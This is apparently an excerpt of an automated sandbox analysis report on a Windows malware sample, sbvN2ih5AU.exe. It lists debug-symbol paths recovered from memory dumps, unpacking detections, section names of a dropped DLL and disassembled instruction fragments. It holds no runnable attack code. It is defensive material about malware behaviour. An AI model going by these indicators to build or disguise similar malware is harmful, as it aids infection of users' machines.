Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*ata\\ source: sbvN2ih5AU.exe, 00000004.00000003.2313309626.00000000038AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2274850530.0000000003516000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283091300.0000000003518000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276528630.0000000003518000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283955710.0000000003519000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282525794.0000000003516000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sbvN2ih5AU.exe, 00000004.00000003.1960281106.00000000034E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\.log source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2036012673.000000000305E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: sbvN2ih5AU.exe, 00000004.00000003.2267632109.00000000036C6000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276405853.00000000036CE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276463998.00000000036E2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276057122.00000000036BE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2295852109.0000000003937000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282223049.00000000038F6000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283815069.000000000391F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274484738.0000000003936000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283412651.00000000038F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: sbvN2ih5AU.exe, 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2312987291.0000000003A34000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313349502.0000000003A84000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313255917.0000000003A43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\] source: sbvN2ih5AU.exe, 00000004.00000003.2276110097.0000000003550000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274850530.0000000003516000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274918914.000000000353C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274967030.0000000003546000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2250077493.000000000356D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248701465.0000000003563000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: sbvN2ih5AU.exe, 00000004.00000003.2299148718.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bugutacahi\focafizikuhubu34\so.pdb source: sbvN2ih5AU.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\, source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\0& source: sbvN2ih5AU.exe, 00000004.00000003.2312987291.0000000003A34000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313349502.0000000003A84000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313255917.0000000003A43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\*6 source: sbvN2ih5AU.exe, 00000004.00000003.2283617325.0000000003043000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274239702.0000000003037000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282027059.0000000003037000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\9 source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248836397.0000000003021000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249195874.000000000302D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249249024.0000000003050000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCookies\PrivacIE\od.pdb\we\w source: sbvN2ih5AU.exe, 00000004.00000003.2316949358.00000000038B2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2317458173.00000000038BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: sbvN2ih5AU.exe, 00000004.00000003.2303190844.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309876162.0000000003681000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305172994.000000000367A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\x\ source: sbvN2ih5AU.exe, 00000004.00000003.2276110097.0000000003550000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274850530.0000000003516000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274918914.000000000353C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274967030.0000000003546000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\emp\ source: sbvN2ih5AU.exe, 00000004.00000003.2303910315.000000000359B000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309491163.00000000035AC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2295852109.0000000003937000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282223049.00000000038F6000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282223049.00000000038B2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283815069.000000000391F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283412651.00000000038F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: sbvN2ih5AU.exe, 00000004.00000003.2274484738.000000000389B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\L source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2036012673.000000000305E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e\LocalCache\Data\Google\Chrome\User Data\FileTypePolicies\emp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2309876162.0000000003681000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\be source: sbvN2ih5AU.exe, 00000004.00000003.2267216698.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276140417.0000000003571000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274750482.0000000003566000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267389311.00000000035AC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276376562.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\acrobat_sbx\Adobe\d.pdb source: sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ls\ source: sbvN2ih5AU.exe, 00000004.00000003.2313309626.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309196065.00000000038A2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\| source: sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248836397.0000000003021000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249195874.000000000302D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249249024.0000000003050000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\p\Bm source: sbvN2ih5AU.exe, 00000004.00000003.2316949358.00000000038B2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2317458173.00000000038BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\*+ source: sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267182272.00000000036E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\5 source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\K source: sbvN2ih5AU.exe, 00000004.00000003.2303473920.00000000039ED000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305478829.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304958924.00000000039ED000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Unpacked PE file: 1.2.sbvN2ih5AU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Unpacked PE file: 4.2.sbvN2ih5AU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Unpacked PE file: 6.2.sbvN2ih5AU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Unpacked PE file: 10.2.sbvN2ih5AU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Unpacked PE file: 13.2.sbvN2ih5AU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Unpacked PE file: 1.2.sbvN2ih5AU.exe.400000.0.unpack
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Unpacked PE file: 4.2.sbvN2ih5AU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Unpacked PE file: 6.2.sbvN2ih5AU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Unpacked PE file: 10.2.sbvN2ih5AU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Unpacked PE file: 13.2.sbvN2ih5AU.exe.400000.0.unpack

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

1_2_00412220

Source: sqlite3[1].dll.8.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.8.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.8.dr	Static PE information: section name: /31
Source: sqlite3[1].dll.8.dr	Static PE information: section name: /45
Source: sqlite3[1].dll.8.dr	Static PE information: section name: /57
Source: sqlite3[1].dll.8.dr	Static PE information: section name: /70
Source: sqlite3[1].dll.8.dr	Static PE information: section name: /81
Source: sqlite3[1].dll.8.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_025590AF push ecx; retf	0_2_025590B2
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_02718F05 push ecx; ret	0_2_02718F18
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00428565 push ecx; ret	1_2_00428578
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_0256E0AF push ecx; retf	3_2_0256E0B2
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026D8F05 push ecx; ret	3_2_026D8F18
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D050 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D008 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D028 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D090 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D0A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D318 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C4E0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D550 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00428565 push ecx; ret	4_2_00428578
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D698 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C960 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C928 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C988 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C9A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CB78 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CD60 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CDF0 push eax; retn 004Dh	4_2_0050D6B5
